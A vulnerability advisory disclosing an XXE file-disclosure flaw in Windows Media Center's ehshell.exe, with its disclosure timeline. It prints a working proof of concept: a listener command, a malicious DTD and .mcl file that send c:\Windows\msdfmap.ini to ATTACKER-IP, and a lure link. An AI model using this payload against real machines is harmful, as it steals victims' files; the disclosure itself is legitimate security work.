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Microsoft Windows Media Center "ehshell.exe" XML External Entity



[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MEDIA-CENTER-XXE-FILE-DISCLOSURE.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.microsoft.com



Product:
==================================
Windows Media Center "ehshell.exe"
version 6.1.7600



Vulnerability Type:
====================
XML External Entity 



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity attack allowing remote access to ANY files on a victims computer, if they open
an XXE laden ".mcl" file via a remote share / USB or from an malicious "windowsmediacenterweb" web link.

Sometimes 'Windows Media Center' will crash, sometimes opens normally and other times will not open, but the files get accessed and exfiltrated.


Tested Windows 7 SP1



Exploit code(s):
===============

POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.


1) ATTACKER-IP listener  
python -m SimpleHTTPServer 8080



2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on ATTACKER-IP in directory where python server is listen)

<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM 'http://ATTACKER-IP:8080/%data666;'>">



3) Create the "EVIL.mcl" file.


<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd";>
%junk;
%param666;
%FindMeThatBiotch;
]>



4) Get victim to open the EVIL.mcl ... enjoy your files!

OR create link on webpage to run the file, but "user has to consent first".

<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>



Disclosure Timeline:
=======================================
Vendor Notification:  September 1, 2016
Vendor opens Case 34970: September 6, 2016
Vendor reply "Wont Fix" : October 19, 2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx